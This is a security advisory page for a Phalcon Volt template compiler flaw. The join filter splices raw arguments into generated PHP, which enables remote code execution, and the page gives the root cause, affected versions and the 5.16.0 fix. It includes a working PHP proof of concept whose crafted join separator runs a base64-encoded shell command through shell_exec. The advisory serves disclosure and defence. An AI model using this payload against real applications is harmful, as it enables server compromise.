GHSA-hrwp-4hh9-c8r8: Code Injection

Published Aug 21, 2026
·
Updated

Summary

The Volt template compiler in Phalcon generates the PHP for the join filter by string-concatenating the filter's raw template-literal argument bytes with no escaping. The separator literal is dropped verbatim between two single quotes the compiler emits, and the piped array argument is emitted completely bare. A Volt template whose join arguments are attacker-influenced can therefore break out of the generated join('…') call and inject arbitrary PHP into the compiled template. Volt writes that compiled template to a cache file and require()s it at render time, so the injected PHP executes i.e. compile-time PHP code injection (server-side template injection -> remote code execution) for any application that compiles attacker-controlled Volt source.

Details

Root cause

phalcon/Mvc/View/Engine/Volt/Compiler.zep:2544-2546:

zephir case "join": return "join('" . funcArguments[1]["expr"]["value"] . "', " . funcArguments[0]["expr"]["value"] . ")";

funcArguments[1]["expr"]["value"] (the separator) and funcArguments[0]["expr"]["value"] (the piped array) are the raw values of the parsed template tokens. Unlike every other expression in the compiler, they are not routed through expression() and receive no escaping: the separator value is spliced verbatim inside the join(' … ' quotes with no neutralisation of ', and the array value is emitted with no quoting at all. Volt's scanner stores string-literal bytes verbatim (escape sequences are not decoded), so attacker bytes survive intact into the generated PHP.

Generated-C ground truth -> build/phalcon/phalcon.zep.c (Phalcon 5.15.0):

c ZEPHIRCONCATSVSVS(returnvalue, "join('", &19$$24, "', ", &22$$24, ")");

i.e. literally "join('" + separator + "', " + array + ")" with both attacker-controlled fragments unescaped.

The compiled output is then written to a cache file and required by Phalcon\Mvc\View\Engine\Volt::render(), so any PHP spliced in by the attacker runs at render time.

PoC

php <?php use Phalcon\Mvc\View\Engine\Volt\Compiler;

$cmd = 'id; uname -a; hostname';

$b64 = base64encode($cmd); $tpl = "{{ ['x'] | join(\"',[]); echo shellexec(base64decode('$b64')); //\") }}";

$compiled = (new Compiler())->compileString($tpl);

$f = tempnam(sysgettempdir(), 'volt') . '.php'; fileputcontents($f, $compiled); include $f; unlink($f);

<img width="1226" height="386" alt="image" src="https://github.com/user-attachments/assets/4d5da3f4-0bc9-41d9-b741-13c9ea9b08fe" />

Impact

Where an application compiles Volt source that is wholly or partly attacker-controlled, this yields remote code execution in the web-server process.

Affected Software

1 affected componentFixes available
composer/phalcon/cphalcon<=5.15.0
5.16.0

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade composer/phalcon/cphalcon to a version that resolves this vulnerability.

    Fixed in 5.16.0

Event History

Aug 21, 2026
Advisory Published
via GitHub·08:55 PM
Data Sourced
via GitHub·08:55 PM
DescriptionWeaknessAffected Software

Frequently Asked Questions

1

Which applications are realistically exposed?

Applications are exposed if they compile Volt template source that an attacker can influence. The issue affects the Volt compiler's handling of the join filter and results in injected PHP being written to and required from the compiled-template cache.

2

What level of attacker control is needed to exploit this?

The attacker needs influence over a Volt template's join arguments. The compiler inserts the separator literal and piped array argument as raw parsed values, allowing crafted input to break out of the generated join call and inject PHP.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203